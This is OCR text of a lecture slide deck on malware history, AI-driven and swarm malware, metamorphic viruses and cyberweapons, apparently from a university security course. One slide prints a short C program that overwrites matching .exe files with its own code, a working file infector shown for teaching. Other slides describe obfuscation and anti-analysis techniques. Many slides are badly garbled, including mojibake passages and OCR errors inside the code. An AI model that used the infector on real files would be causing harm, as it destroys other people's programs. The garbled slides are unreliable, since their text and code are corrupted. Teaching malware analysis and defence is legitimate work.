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A Ivan Zelinka (ivanzelinka.eu) is Professor at the Technical University of
Ostrava, Faculty of Electrical Engineering and Computer Science and
national supercomputing centre IT4Innovations. He was/is supervisor,
co-supervisor and member of a numerous research grants, national and
international Ivan Zelinka is a member of the British Computer Society
and IEEE. Ivan Zelinka is also founder and editor in chief of the Springer
book series Emergence, Complexity and Computation. He is also head
of NAVY research group at VSB (navy.cs.vsb.cz)
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Courseagenda

Alntroduction

AMalware

AAl

A Swarm intelligence (SI)
AMalware¢ techniques and principles

AThe todays role of the Al and Sl in malware and
antimalware technologies
AThe most advances malwagavhat we shall expect
AAI, Swarm intelligence and malware wXre

AFusion and the main principles

AX—worm a real swarm malware
A Principles, behavior, communication via dark net, analysis

AExamples
AFuture technologies
AQuestions & Discussion
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The most dangerous viruses

AStuxnet, 2002010
An error is seen on a computer screen of Bushehr nuclear power plant's map in the Bushehr Port on the Persian Gul
kms south of Tehran, Iran on February 25, 2009.

A 2008 air crash oSpanaitMD-82 during take off in Madrid,54 dead

AThe worst tragedy in Spain in last @S, one of the service computers system attacked by Trojan:

AHernandez José Antonio (20 August 201l ordenadorde Spanailgue anotabalos fallosen losavionestenia
virus"[TheSpanaicomputerthat wrote down the faultsin the aircrafthad a virus]EIPais(in Spanish

A Leyden, John (20 August 2010)djanridden warning system implicated iBpanaircrasH.
A"Malware implicated in fataSpanaiplane crash!'TechNewsDaily20 August 2010.

Speaking: Ivan Zelinka


http://www.elpais.com/articulo/espana/ordenador/Spanair/anotaba/fallos/aviones/tenia/virus/elpepiesp/20100820elpepinac_11/Tes
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Cybernetic war

A"Crippling blackout hits tens of millions in South America’".

WWW.chbsnhews.com.

€he New Nork Times

Kremlin Warns of Cyberwar
After Report of U.S. Hacking
Into Russian Power Grid

Speaking: Ivan Zelinka

POWER BLACKOUT IN ARGENTINA, URUGUAY,
PARAGUAY AND BRAZIL; IS THIS THE BIGGEST
CYBERATTACK EVER?

Share this...

00DOOOO®

A massive blackout left millions of people without power in some South American countries, such
as Argentina, Uruguay and Paraguay, over the last weekend. Although the exact causes of the
incident are not yet known, network security experts and authorities consider it likely to be a
cyberattack; “there is still nothing confirmed, but we must not rule out any possibility”, Argentine

government officials said.
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Cybernetic threads

Web Pages Infected Today Types of Malware Found

The following is a list of the top 5 web-based threats that caused the
9 5 9 3 5 8 greatest number of global detections over the last 7 days.

Adware Generic
1,849,417 Attacks

Trojan horse Generic
1,196,190 Attacks

Top 5 Countries Hosting Infected Websites

Below are the top 5 countries hosting websites that caused the greatest
percentage of worldwide detections.

\ \ \ \ \ Adwar

LNK/AutoRun
1,020,143 Attacks

288,364 A
19% 19% 15% 15% 15%

SHeu

251,102
Spain Mexico Argentina Malaysia Sweden

Speaking: Ivan Zelinka
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A.l. andcybersecurity

ADeep fakevideos /faces.

Al SENYAY I FTNRY ¢gA 00 SoNEnicbehaviaul, Adeds Yarmakinformal cdnvhlinicdtién X
aieft SaX 6aLi O2YS FTNRY YSI Al &azdzyRa tA1S YS:Z
2LISY AlGe0D

A2 S aK2dZA R y2u aaf SHSLEL B AL KS YA alO2 yIOBSLIUG12SNE 6 K &
f A1S D223fSkalL¢ IINB 0dzAft RAY3I gKSY L OFy &aSyR M

ANear Future It's still possible that like any legitimadeganisation hacking gangs will look to exploit machine

learning and artificial mtelhgence tools to augment their operations, if not replace their manual tasks. "Ha
gAtt ltglrea t221 F2NJ OKAy3Ia G2 YIS GKSANI LINERO

A=>1 ®PLd® RNAGGSY YIf ol NSE GANHzZASE&SE al OKAYS [ SIFNYAY
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Cyberthreadghe cybersecurity landscape

Speaking: Ivan Zelinka
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Understanding the cybersecurity landscape

Spy and War Landscape

Speaking: Ivan Zelinka
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Malware ¢ history and basic principles

Speaking: Ivan Zelinka
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Brief history of malware

AFollow ideas of A. M. Turing and J. von Neumann (Scientific

first polymorphic viruses: Chameleon:

Ghastball |
o

\
Datacrime |

=
-{ FuManchu |

!YSNJ\OI)/Z MdcC C omcbnqouz ac¢K
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could reproduce itself.
AMgppnas SyLXz2essa a .Sttt [ U
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for control of the computer. j;‘u"i‘]"f '*—J
4 . 4&] Dir 11: link vir ugl
AThe Brain {5s |
AOId and modern malware I T e =)
-{Easndit] .
, . LCh'iﬁtmsﬁT:.EZI
hThE Hs':.':.itvi'u5. . H The Brain Virus )
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https://www.lastline.com/blog/historyof-malwareits-evolution-andimpact/
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Brief history of malware
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A

SrcWin: infecting program source DDdE]

IAPADA

—{First networdk worm using FTP: I-Inmer]

A

First ransomewsare: Dnehalf:J

)

mlIRC Weorms

ADL Trojans

4 ILOVEY DU

First Microsoft Access virus: Accessiv ]

First virus capable to erase flash ROM BIOS: CIH]

-{First Windows25 virus: Win'ﬂﬁ.ﬂm]

-{First wirus for ©O5/2: 052 AEP ]

_{

Metamaorphic virua:SimiIEJ

Beast trojan

-{Anna Kournikowa viIUEJ

* Sadmind wor

Mylife worm

SQL Slammer
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Bomber -{ First virus for Microsoft Excel: Larcux ] -{ Code Red wcxm] Bagle worm
First Macro virus: Cen Dept] 4 Happy29 ma My Doom wor
First memafy resident virus: WinB5.Punch ] -{ Nimda worm Sazser worm
Michelangelo virus First Linuzx firus: Stang] Exploredip -4 Klex worm
| | | | ! !
1992 1994 1998 1898 2000 2002 2004 2008
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Brief history of malware

AModern era of malware
AAl indefence
ABehavioral analysis

g
=
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Brontok viru&]

Regin Trojan

Windigo

BASHLITE

[

WannalCry

Hafecopy Trojan

% Thanatos ra ns-umware]

Titanium APT

Swarm Virus

-{E-I'_I.I'p‘t{}L{}d'tEl' ]

-{GamE{:-\rEf Zeu5 trojan ]

|-{MEME trojan ]
li

Stration worm ]

(o)

inux.D: o
-{Linux.Wifatl:h ]

Storm Worm l

Feu5 trojan ]

4 L arllocz l FL oy ran&c:-meware}

-{Meuml Swrarm Wurm-]

-{Tin'_-,r Banker Trojan ]

Mirai

2008

2008
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Brief history of malware

Truzcng, T.C.,Diep, 2.B.and Zelinks,|.,2020.
4 Artificial Intelligence in the Cyber Domain: Cffense and Defense

Symmetry, 12{3),p.410

e,

Cong Truocng Thanh,Quoc Bao Diep,and lvan Zelinka. 2020.

AEra Of malware Wlth AI (?) —4 “Swarm intelligence in Cybersecurity” Swarm Intelligence:
- . . From Social Bacteria to Human Beings.CRC Press
ASwarm virus predicted : , ——
Amer E.and Zelinka,|., 2020
AExperImentS Wlth Swarm Worm Comblned Wlth ANN — A dynamic Windows malware detedction and prediction method based on

contextual understanding of API call sequence Computers & Security, 32,p.101780

Truong, T.C. . Zelinka,|.and Senkefik,R. 2012
— Meural Swarm Virus. In Swarm, Eveluticnary, and

Memetic Computing and Fuzzy and Meural Computing {pp. 122-134). 5pringer, Cham

Cong Trucng Thanh,and lvan Zelinka. 2018.
=4 A survey on artificial intelligence in malware as next generation threats”

In the Mendel journal 2018 Brno,Czech Republic
I

Eslam Amer, Ivan Zelinka.

= “An Ensemble-Based Malware Detection Model Using Minimum Feature Set™.

accepted and will appear in Mendel Journal of soft computing, Vel. 25, No. 2, 2015

Zelinka, |, Das, 5. Sikora L. & Senkefik R.(2018)
Swarm virus-Mext-generation virus and antivirus paradigm?

Swarm and Evoluticnary Computation,43,207-224

20138 2018 2020 2021

%]
[=]
1
1

Speaking: Ivan Zelinka



VSB TECHNICAL FACULTY OF ELECTRICAL DEPARTMENT
|| || UNIVERSITY | ENGINEERING AND COMPUTER | OF COMPUTER
| OF OSTRAVA SCIENCE SCIENCE

Basic methods of infection

Transcript of the host : the host does not change the length , but destroy it .

VITUS: VATUS: RHOOT &l

Append to the host, extends the length of the host and retains its functionality
Jump on the beginning

2 o T
VITOS: —> RO aniy VeSS

IME@H g Virus bOdy

EOF — virus
beginning JMP redirection

Speaking: Ivan Zelinka
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Preludec virus body in C#

Speaking: Ivan Zelinka
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#include <io.h>
#include <iostream>

#pragma warning(disable:4996)

int a = ©6;

unsigned long x, hst;

char buff[384600];

struct _finddata_t fileinfo;

10

1
2
3
4
5 FILE *virus, *host;
6
7
8
9

11 void main(int argc, char* argv[])

12 {
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27 '}

X = 38400;
hst = findfirst("Hello*.exe", &fileinfo);
do
{
virus = fopen(argv[0], "rb");
host = fopen(fileinfo.name, "rb+");
printf("Infecting %s\n", fileinfo.name, a);
fread(buff, 38400, 1, virus);
fwrite(buff, 38400, 1, host);
a++;
fcloseall();
} while (_findnext(hst, &fileinfo) == @);
printf("DONE!(Total Files Infected = %d)", a);
getchar();
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Overview

AMalwareis the main weaponof cyberattacks

ADesignedo disruptand gainunauthorizedaccesso
acomputersystem

ATypes of malware virus, worm, trojan, spyware,
adware ransomwareyootkit, botnetX

Botnhet

Adware

Speaking: Ivan Zelinka
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Delivery methods

Speaking: Ivan Zelinka

. E-malil attachments

\
‘ Drive-by downloads

I
‘ Social engineering
[

‘ Propagate in network

T
4

22
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Advanced malware

ADistributed, ¥ I dzf (I maicBitecinfesystanceagainstdeleting, malfunctioning etc. ¢ PCsinfect paths)
AMultifunctionality (basedon CnCservers yariablefunctionality)

ACamouflaggechniques
AEncryption(Encryptthe viruscode)
AOligomorphism(advancedform of the encryption,usemultiple decryptionroutines)

APolymorphism(using code encryption, a high number of a high number of mutant decryptors changingits code
constantly)

AMetamorphism(mutate the body of virus,everycopyhasdifferent structure,but @ A Niafiéidoesnot change)

23

Speaking: Ivan Zelinka
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Advanced malware

AObfuscationTechniques
AJunk/DeadCodelnsertion
AVariableRegistersubstitution
Alnstructionreplacement
Alnstructionpermutation
A Codetransposition

AArmoringtechniques
AAnti-debuggingensurethat a malwareis not runningundera debugger)
A Anti-heuristics(usingfile parkers,usingvariousEntryPoint Obfuscation)
A Anti-goat (identifyinggoatfiles)
AAnti-Virtual Machine(detectif run undera virtual environment)

Speaking: Ivan Zelinka
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Mallware, legends and truth

ACan we infect unknown, nonhuman (i.e. extraterrestrial) computers?

AThe Independence day

ASpace odyssey 3000

AThe Cloud by Ray Hammond
AHardware destruction

r

AX

Speaking: Ivan Zelinka
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Advanced malware

AMalwarewith Al(nextgenerationmalware)
Alntelligentevasiontechniques(highlyevasive anti-reversing)
A Autonomousmalware(massattackwith machinespeed targeted and customizedattacks)
ABioinspiredcomputationand swarmintelligence(mutate, evolution, swarmintelligencemalware)

Speaking: Ivan Zelinka
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Artificial intelligence- advanced malware with Al

Speaking: Ivan Zelinka

27
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AA. Turing and EA terminology  Tering Tes
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Applications of Al in cybersecurity

The Impact of Al

on Cybersecurity

+ The positive uses of Al
+ Drawbacks and limitations
of using Al

" AI in the

Al methodology
for cybersecurity

+ Learning algorithms
+ Machine learning methods

+ Deep learning methods

+ Bio-inspire computing methods

+ Malware detection

+ Intrusion Detection

+ Phishing detection

+ SPAM identification

+ Countering Advanced
Persistent Threats

Generated Domain Names

Cyber domain

Al-based application
on cyber defence

+ Detection of Algorithmically

Challenges and

future directions

+ Challenges
+ Future directions

J

Speaking: Ivan Zelinka \‘

The criminal use of Al

+ Al-powered malware
+ Al against Al
+ Social engineering attacks

29
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‘ Malicious use of Al ‘

Types of Aldriven cyberattacks

! ._ _. ! __ __ |

‘ Strengthen malware ‘ ‘ Attack Al models ‘ ‘ Social engineering ‘
Al in the hands of hackers can be used to:
» Deepfake phishing: Generating realistic videos and voice messages.l
« Automated exploits. (Ad 1 (o) ( Model
) ] ) ‘ versarial ‘ Poisoning ‘ extraction
« Generative malware: Al creates polymorphic and metamorphic | inputs training data | | T,

viruses.
» Adversarial attacks: Al deceives security models.

» Realworld examples:
» DeepLocke(IBM)- Al malware that activates based on the target's face.
« WormGPTF LLM model exploited for phishing.

3 Malicious Intent Concealment

how

1 Target Class Concealment 2 Target Instance Concealment

L4 -9

what
who
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Automating cyber attacks with Al @@f%

 Previously: Hackers conducted attacks manually, tested phishing manu
» Today:
« Automates target analysis (OSINT data collection).

» Writes malicious emails and codes based on promysrinG P TFraudGP)I " ’6’1290
» Creates undetectable exploits through evolutionary algorithms. : %"f%%:‘"s‘
« Example: Atlriven ransomware attacksmalware generates personalized extortions. N %%%
Al strengthen malware k
Stay secure with |
Autonomous Ethical Hacking | I l
Intelligent evasion Automous malware Bio-inspired & swarm
Identify vulnerabilities before they get exploited. techniques intelligence
« Anti-Reversing « Smart decisions « Swarm-based
We keep you safe by combining Al Automated Pentesting » Doge sandbox  Eliminating C&C intelligence
and Elite Ethical Hacking for both in-depth and in-breadth D Gl B 'T";?Sgit:z e T olveble maware

security testing. « Bio-inspired



https://www.bitsight.com/blog/ai-presents-new-class-hacking-tools
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Al In cyber defence

Al helps with threat detection:

* Behaviorahnalysis Al detects anomalies in network traffic.
« Aldriven IDS/IPS systemsystems predict attacks before they happen.

» Alenabled honeypots Al adapts decoys to hackers.

» Realworld applications:
» Microsoft Defender ATP uses Al to predict malware.
» Google Chronicle uses Al for threat intelligence.

Cyber Applications of }‘

Al-base methods

»{ Malware detection }—[
4>{ Network intrusion }—E

—»

>

»{ Phishing/Spam detection }—

=

PC malware

Android malware

Intrusion detection

Anomaly detection

Web phishing detection

Mail phishing detection

Spam on social networks

Spam mail

Countering APTs

' Identify domain names |

L o {

generated by DGAs
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Al In cyber warfare

Powered by ThreatCloud Intelligence Check Po|nt
. . THREATCL uD LIVE CYBER ATTACK THREAT MA PQ SOFTWARE TECHNOLOGIES, INC
« Cyber warfare is changing: -

« Al can automate disinformation campaigns. LEARN ABOUT CHECK POINT

THREAT PREVENTION SOLUTIONS

» Aldriven malware can attack critical infrastructure
« State actors (APTs) use Al for espionage and sab

* Examples of state Al threats: v TR RO
. Vv TOP ATTACKING COUNTRIES
 Volt Typhoon Chinese threat to the US.
« Sandworm (RussiaAkdriven destructive attacks.
POLYMORPHIC KEYLOGGER WITH THE POSSIBI
MODIFYING THE PROGRAM ON THE FLY.
Al synthesis of polymorphic malicious code.
Onthe-fly code modification.

Compilation of Python malware into standalone
executable code.

13:48:24 MALWARE-URL.bpqyj
13:48:24 Compromisedsite.cw
13:48:23 REP.huvcru

-

.'.‘l\" FN
Al KRS ‘&"
ST T

~
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Al-generated fraud and social engineering

Malicious

Chatbot Now for Sale
» Al generates realistic videos and mimics voices. on Dark'Web

» Deepfake phishing:

« Automated fraudulent phone calls (vishing):
» Al clones executives' voices for financial fraud.

» Fake texts and documents:
» Al generates fraudulent contracts and legal documents.
 ExamplefFraudGPTa model that creates customized fraud.

Meet the Brains Behind the Malware-Friendly Al Chat Service ‘WormGPT’

August 8, 2023 16 Comments

Mailing List
WormGPT, a private new chatbot service advertised as a way to use Atrtificial Intelligence (Al) to write 9

malicious software without all the pesky prohibitions on such activity enforced by the likes of ChatGPT Subscribe here
and Google Bard, has started adding restrictions of its own on how the service can be used. Faced with
customers trying to use WormGPT to create ransomware and phishing scams, the 23-year-old
Portuguese programmer who created the project now says his service is slowly morphing into “a more
controlled environment.”

Search KrebsOnSecurity

secue

WormGPT - The Generative Al Tool
Cybercriminals Are Using to Launch
Business Email Compromise Attacks

Daniel Kelley
Security Researcher
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Al and the dark web: the black market in cyber weapons

Darknet Marketplaces: Introducing The Darknet
Markets

sted in Crypto Asset Compliance on February 18, 2025

» They're for sale on the dark web:
» Alpowered ransomwarasa-service.
« Automated phishing bots. - |
« Deepfake content generators. - e DARKNET

- Real markets: ﬂ@ﬂ){[ﬂ’[ﬂﬂfs

» Genesis Market Akdriven identity theft \ —
* Underground LLM models for hacking '

Crawlers - All exit Crawlers c s Crawiers - All exits / rawlers - 9 ers - 504 Crawlers urred Scrapers - Number o.
server
537182 . = 935122
500000
- Crawlers - 404

Crawlers - 503

_ = A Deeper Dive into
489871 N 732149 |llicit Trade Markets

888888

Crawlers - Errors

Crawlers - 1



VSB TECHNICAL FACULTY OF ELECTRICAL DEPARTMENT
|| || UNIVERSITY | ENGINEERING AND COMPUTER | OF COMPUTER
OF OSTRAVA SCIENCE SCIENCE

The future of Al In cybersecurity: threat or rescue?

» Al becomes both a weapon and a shield.

 Predicting development:
» Aldriven cyber warfare will become a reality.
» Defenseswill need to use increasingly advanced A

» Challenges and regulation:
* How to prevent the misuse of Al?
* Where are the ethical boundaries?
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Swarm intelligenceg history and basic principles

Speaking: RomaBenkerik
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Swarm intelligence

START

Population 0 size:

Population 1 size )

> population

» population 1

https://www.biographic.com/posts/sto/lens-of-time-secrets-of-schooling

https://github.com/0la0/psoViz

Speaking: RomaBenkerik
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Swarm intelligence and antimalware

S| simulating attacks

Speaking: Ivan Zelinka
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Slsimulating attacks

Progress by iterations

ASelectedSland EAsalgorithmsasthe artificial
APPSO ° i ; E 5 5 ; 7 ; 5 10

ASOMA Progress details

AGWO

ASA

1 0.26667

AAdaptivefirewall 2

View details

View details

TCP_SYN TCP_SYN TCP_FIN

Malicious probability: 0.00000 Malicious probability: 0.80000 Malicious probability: 0.00000
Port: 80 Port: 8080 Port: 80

Win. Size: 11720 B Win. Size: 38071 B Win. Size: 1676 B

Data. Size: 0B Data. Size:0 B Data. Size: 698 B

Speaking: Ivan Zelinka
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Algorithm-specific hyper parameters PsoComponent
Maximal velocity C1 1 Mumber of iterations
64 2 2 10
E.g. <50, 80> Eg. 2 Eg 2 E.g. 10
m AlgorithmRunComponent
Progress by iterations ProgressComponent
-
0.754
S sl
0.254
U I 1 1 1 1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 10

lterations

Speaking: Ivan Zelinka
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Darwin, Mendel and malware evolution

Speaking: Ivan Zelinka
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Metamorphic virus- the Badboyvirus uses eight modules

EP —» 1 2
AThe order of the subroutines will be different from generation to 2 4
generation, which leads to n! different virus generations, where n is the
number of subroutines. 3 g
ABadBoyhad eight subroutines, anél = 40 32@ifferent generations.
AW32/Ghost (discovered in May 2000) has 10 functiond,(8c= 3 628 800 ’ I
combinations. i .
ABoth of them can be detected with search strings, but some scanners need
to deal with such a virus algorithmically. 6 7
7 \‘ 5
8 3

Szor, P., 2005. The Art of Computer Virus Research and Defense: ART COMP VIRUS RES DEFENSE. Pearson Education.
Speaking: Ivan Zelinka
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W32/Evolvirus

Speaking: Ivan Zelinka

An early generation:

CT7060F000055
C746048BEC5151

DEPARTMENT
SCIENCE
mov dword ptr [esi] ,5500000Fh
mow dword ptr [esi+0004],5151EC8EBh

b. And one of its later generations:

BFOFO00055
B93E

5F

52

Be40
BABBEC5151
53

BEDA
B95EQ04

mov edi,5500000Fh

mov [esi] ,edi

pop edi

push edx

MoW dh,40

mov edx,5151EC8Bh

push ebx

mowv ebx, edx

mov [esi+0004] ,ebx

c. And yet another generation with recalculated ("encrypted") "constant" data:
BBOFO00055 mowv ebx,5500000Fh

B91E mowv [esi],ebx

5B pop aebx

51 push ecx

B9CBOOCOSF mowv ecx, 5FCO000CBh

81C1COEBS91F1 add ecx,F191EBCOh ; ecx=5151ECB8Eh
B94E04 mowv [e=si+0004] ,ecx

Szor, P., 2005. The Art of Computer Virus Research and Defense: ART COMP VIRUS RES DEFENSE. Pearson Education.
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Malware evolution based on Mendelian and Darwinian theory

ACan malware evolve?
AMetamorphic malware

Aal t g NB dzyRSNJ 5 NbAYyQa | YR aSyRSt Qa
2 1 1 2 3 2 4 1
SeparateExes | SearchForDrives SearchingForFiles FilesTolnfectHandler| InfectionChecker | InfectExe Payload Payload
_— —_—
prepended 1 GetlogicalDrives() | system command serial prepended prepended | message message
rewriting system command | FindMextrilel) delayed parallel length check - equal | rewriting nothing-doing | nothing-doing
parasitical FindNextFile() immediate length check - larger | parasitical [inner-cycles | inner-cycles
fake fake alphabet alphabet
writfing to file | writing to file
fibonaci fibonaci

Speaking: Ivan Zelinka
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Metamorphism or evolution?

Speaking: Ivan Zelinka
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. . SeparateExes SearchingForDrives SearchingForFiles
Malware evolution- a life cycle e JEraz JToverias
Array index: O Array index: 1 Array index: 2
Method count: 4 Method count: 2 Method count: 3

AVirusmetamorphosigrivenby evolution s

ARealvirusevolution Lagries
ALayerS Method count: 2
Alndexing- 2:1:1:2:3:2:4,1 —
AMetamorphicviruswith 8 blocksis 40320 =

InfectExeFile

Layerid: 6
Array index: 5

A

AWhatif there is N blockswith M functions??? Method sout Mettod count
all erels OCKSWI UNCtons - 7 : Method count: 3 ethod count: 4
2 : 1 : 1 : 2 : 3 : 2 : 4 . 1
SeparateExes | SearchForDrives SearchingForFiles FilesTolnfectHandler| InfectionChecker | InfectExe Payload Payload N
prepended GetLogicalDrives() | system command serial prepended prepended | message message Payload
rewriting System command | FIndNextriel) aelayed parallel length check - equal | rewriting nothing-doing| nothing-doing -
parasitical FindNextFile() immediate length check - larger | parasitical Linner-cycles | inner-cycles Layer id: 7
fake fake alphabet alphabet Array index: 6
writing to nle | writing to file Method count: &
fibonaci fibonaci

Speaking: Ivan Zelinka Kanova, K.oluce @&dtdniho kodti¢Digital Code Evolution), VSB-TU Ostrava, Thesis.
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Malware evolution in a combinatorial explosion

AVirus metamorphosis driven by evolution

AReal virus evolution
AlLayers

Malware mutations by evolutionary algorithms

Alndexing- 2:1:1:2:3:2:4,1 7 x10° pr————

AMetamorphic virus with 8 blocks 4 320
AWhat if there isn blocks withm functions??~
AWhile metamorphic with N blocks is NI,
evo-metamorphic isn! m!/(m-1)!...
AXa2 ¢S a8angm F3RisR01 600
combinations that is significantly more than in
the classical metamorphic scheme for that

Mo, of makvare ynjtations

aSuaAy3aX

ASeem = 10X E

Speaking: Ivan Zelinka Kanova,

10

— !

n! &l

{5-1}

n! 10
{10-1)!

K .oluce didgtélniho kodt yDigital Code Evolution), VSB-TU Ostrava, Thesis.
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VIirus can evolve, what next?

Speaking: Ivan Zelinka
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Swarm intelligence as a malware engine

Speaking: Ivan Zelinka
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Vision

What kind of malware can be
expected in the near future?

One possible answer:

Zelinka, I., Das, S.,Sikora, L., &

§ 1 O O]R. (30@8)Swarm virus -
Next-generation virus and antivirus
paradigm?. Swarm and
Evolutionary Computation, 43, 207 -
224.

Speaking: RomaBenkerik

SCIENCE

Swarm and Evolutionary Computation 43 (2018) 207-224

Contents lists available at ScienceDirect

Swarm and Evolutionary Computation

journal homepage: www.elsevier.com/locate/swevo

Swarm virus - Next—generatlon virus and antivirus par adlgm? ‘.')
paatoe.
P * . a 4 w
Ivan Zelinka ®"", Swagatam Das ¢, Lubomir Sikora”, Roman Senkeftik ¢
# Modeling Evolutionary Algorithms Simulation and Artificial Intelligence, Faculty of Electrical & Electronics Engineering, Ton Duc Thang University, Ho Chi
Minh City, Viet Nam
b Department of Computer Science Faculty of Electrical Engineering and Computer Science, VSB-Technical University of Ostrava, Czech Republic
* Electronics and Communication Sciences Unit, Indian Statistical Institute, 203 B.T. Road, Kolkata 700108, W.B., India
d Faculty of Applied Informatics, Tomas Bata University in Zlin, Nam T.G. Masaryka 5555, 760 01 Zlin, Czech Republic
ARTICLE INFO ABSTRACT
Keywords: ) In this article, we outline a possible dynamics, structure, and a behavior of a hypothetical (up to now) swarm
Swarm 3-13"?"“"“5 malware as a background for a future antimalware system. We suggest how to capture and visualize behavior of
Computer virus such malware when it walks through the file system of an operating system. The swarm virus prototype, designed
;S;::rt:[:i ation here, mimics a swarm system behavior and thus follows the main idea underlying the swarm intelligence algo-

rithms. The information of the prototype’s behavior is stored and visualized in the form of a complex network,

Evolutionary algorithms . i o . I i X
reflecting virus communication and swarm behavior. The network nodes are then individual virus instances.

Swarm malware

Swarm intelligence The network has certain properties associated with its structure that can be used by the virus instances in its

Ant colony optimization activities like locating target and executing payload on the right object. As the paper shows, the swarm behavior

Complex network pattern can be incorporated also to an antimalware systems, and can be analyzed for a future computer system
protection.
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Advanced malware

AMalwarewith Al(nextgenerationmalware)
Alntelligentevasiontechniques(highlyevasive anti-reversing)
A Autonomousmalware(massattackwith machinespeed targeted and customizedattacks)
ABioinspiredcomputationand swarmintelligence(mutate, evolution, swarmintelligencemalware)

Traditional targeted attack NN-powered targeted attack

Execute Attack Execute Attack

“ &

Is this a

End < End

A

Speaking: Ivan Zelinka Truong, T.C., Diep, Q.B. and Zelinka, 1., 2020. Artificial Intelligence in the Cyber Domain: Offense and Defense.Symmetry, 12(3), p.410.
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Neural swarm malware

Trojan-PSW.Win32.Tepfer.apfc

o ANN Output

AX-Ware powered by ANN
ACentralized version
ADistributed version

>0

Each virus in the swarm is embedded with a MLP

53
Speaking: Ivan Zelinka Truong, T.C., Diep, Q.B. and Zelinka, I., 2020. Artificial Intelligence in the Cyber Domain: Offense and Defense.Symmetry, 12(3), p.410.
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More reading

0.5

ANN Input
7

ANN Input., ;
A \

X

Fig. 4.5: Virus simulate the ANN working mechanism

Thanh, C. T., Zelinka, I. & Senkerik, R. (2019, July). Neural Swarm Virus.

In 7-th Joint International Conferences on Swarm, Evolutionary and
Memetic Computing Conference (SEMCCO 2019) & Fuzzy And Neural
Computing Conference (FANCCO 2019), Maribor, 10-12 July 2019

Speaking: Ivan Zelinka

DEPARTMENT
OF COMPUTER

Neural swarm virus

1[0000—0001—6603—392X 1., 1[0000—0002—3858— 7340
Cong Truong Thanh'l I, Ivan Zelinka!! 2 1,
and Roman Senkerik?[0000—0002—5839—4263]

! Faculty of Electrical Engineering and Computer Science
VSB-Technical University of Ostrava
17. listopadu 2172/15, 708 00 Ostrava-Poruba, Ostrava, Czech Republic
cong.thanh.truong.st@vsb.cz, ivan.zelinka@vsb.cz
2 Faculty of Applied Informatics
Tomas Bata University in Zlin
T. G. Masaryka 5555, 760 01, Zlin Czech Republic
senkerik@utb.cz

Abstract. The dramatic improvements in computational intelligence
techniques over recent years have influenced many domains. Hence, it
is reasonable to expect that virus writers will taking advantage of these
techniques to defeat existing security solution. In this article, we outline a
possible dynamic swarm smart malware, its structure, and functionality
as a background for the forthcoming anti-malware solution. We propose
how to record and visualize the behavior of the virus when it propagates
through the file system. Neural swarm virus prototype, designed here,
simulates the swarm system behavior and integrates the neural network
to operate more efficiently. The virus’s behavioral information is stored
and displayed as a complex network to reflect the communication and
behavior of the swarm. In this complex network, every vertex is then indi-
vidual virus instances. Additionally, the virus instances can use certain
properties associated with the network structure to discovering target
and executing a payload on the right object.

Keywords: Swarm virus, swarm intelligence, neural network, malware,
computer virus, security
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From Malware Samples to Fractal Images: A New Paradigm for Classification

Random selection
|

Random selection of goodware (gw) and malware (mw) in optimal
resolution i

4 833 893 goodware

421 403 potentially
unwanted apps
2 878 904 malware

W

65 270 of

GW and
MW

192x192 5
192x192 10 1
128x128 5 1
128x128 10 16
G4x64 5 16 843
16
1
1

64x64 10
32x32
32x32 10

API calls to
networks

Conversion to

Decision __ Fractal malware set :
fractal image

% Deep learning to classify

ﬁ'i'l.ﬂi'ﬂi'l.
0 0 1 :

.
u I () rescaing i convzo ) Mapociing20 (@ Dropout ) Fiatten @oese
|

Fractal goodware set
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Cyberweapon
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Overview
Cyber weaporuefinition

» Thereis no clearlydefinethe meaningof a cyberweapon Howevera cyberweaponcanbe definedas

e @ Ipart of equipment,a deviceor any set of computerinstructionsusedin a conflictamongactors, both nationaland
non-national, with the purpose of causing,even indirectly, a physicaldamageto equipmentor people,or rather of
sabotagingor damagingn a direct way the information systemsof a sensitivetarget of the attackeda dzo 2°S O U €

6: Mele, Stefano. "Cybaveapons: legal and strategic aspects (Version 2.0)." Available at SSRN 2518212 (2013)
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Overview
Cyberwarfare

« Cyberwarfaremay be definedasa O 2 y bamengactors, both Nationaland non-National, characterizedoy
the use of technologicalinformation systems, with the purpose of achieving,keeping or defendinga
condition of strategic, operativeand/or tacticaladvantage
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Col

« Command, Control, Communications, t 26 NUOIF 6 S

ComputersCombat Systemsntelligence e Intagracesystému a
« Command & Control mikrokontroléru
e Digitalni ovladani systému » Kyberneticke fyzikalni systemy
» Optimalni ovladani a odhad  Intelligence
e Autonomni vozidla  Inteligentni Al
 Roboti
et 26Nl 620S GOARSYN e« Bojové systémy

« Komunikace * Roboti
* Kyberneticke fyzicke systemy
e LONJ VS
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Overview
The first cyberweapon

« Stuxnet wasconsideredasthe g 2 NJir& €yBerweapon

100N

':1"1)10

“A11000

*. LangnerRalph. "Stuxnet: Dissecting a cyberwarfare weapon." IEEE Security & Privacy 9.3 (201.1): 49
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Essential elements

» Threeessentialelementsof a cyberweapon

« Context it mustbe the typicalcontextof a cyberwarfareact

* Purpose causing,evenindirectly, physicaldamageto equipmentor people,or rather sabotagingor damagingin a
directwaythe information systemsof a sensitivetarget of the attackedsubject

* mean/tool: anattack performedthroughthe useof technologicainformation systemsjncludingthe Internet
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Typical elements

* Typicalelementsof a cyberweapon

1. Theaim mustbe specific,asopposedto genericmalware (exceptfor the caseof concealmentof the real purposes
of anattack)

2. the information systemswvhichhavebeenhit mustbe classifiedasa sensitivetarget of the attackedsubject

3. the purposemustbe to activelypenetratethe (i I NHnfm&t#n systems(not just to causea simpledysfunction)
andwith maliciousends

4. theinformation systemsof the target mustbe protected

5. tangibleor significantlydetectabledamagemustbe caused
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Timeline of incidents

2007 Estonia DDoS through Estonian government and banking websites and systen To prevent normal functioning of critical systems,
botnet unavailable and prevent use of -government and éanking
services
2008 Georgia DDoS through DDoS attacks on government websites as prelude to  Disruption of government networks and
botnet kinetic attack communication channels
2008 Conficker Worm Global effect: French navy computer network infected  Disruption of critical military and police networket

grounding aircraft; UK DoD systems affecting warships; systems including aircraft control systems
Computer systems of Manchester city council in UK

2010 Stuxnet Worm Iranian nuclear centrifuges damaged Cause damage to nuclear enrichment
centrifuges and reduce nuclear weapon producti

capacity
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Timeline of incidents

2012 Syrian Conflict DDoS

2012 Shamoon worm
2015 China Great Cannon
DDoS

Syrian Electronic Army (SEA) used software named Alleged patriotic hackers promotimyoAssad
BunderFucket.O to target four international media outlet narratives and disrupting arfisssad websites and new
media outlets

Iranian retaliation for Stuxnet: wiping of accessible and To spread worm through Aramco
infected computers at Saudi network which deletes and overwrites data on infecte

Aramco devices

china uses its Great Cannon against US websites which To remove capacity for outside actors to
